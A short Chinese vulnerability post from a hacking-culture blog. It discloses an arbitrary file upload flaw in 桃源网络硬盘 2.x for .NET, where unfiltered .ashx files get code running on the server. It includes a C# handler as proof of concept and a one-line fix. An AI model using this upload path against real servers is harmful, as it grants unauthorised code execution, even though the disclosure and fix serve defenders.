记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

桃源网络硬盘2.x for .NET版本任意文件上传及修复

2013-12-10 09:30
没有过滤ashx
 
上传1.ashx文件
 
访问目录
 
http://localhost/myfile/用户名/1.ashx
 
 
 
test code:
 
 

<%@ WebHandler Language="C#" Class="Handler" %>



using System;

using System.Web;



public class Handler : IHttpHandler {



public void ProcessRequest (HttpContext context) {

context.Response.ContentType = "text/plain";

context.Response.Write("path:"+Environment.CurrentDirectory);

}



public bool IsReusable {

get {

return false;

}

}



}

 

修复方案:
过滤ashx
知识来源: www.2cto.com/Article/201312/263558.html

阅读:105994 | 评论:0 | 标签:无

想收藏或者和大家分享这篇好文章→复制链接地址

“桃源网络硬盘2.x for .NET版本任意文件上传及修复”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

学习黑客技术,传播黑客文化

推广

工具

标签云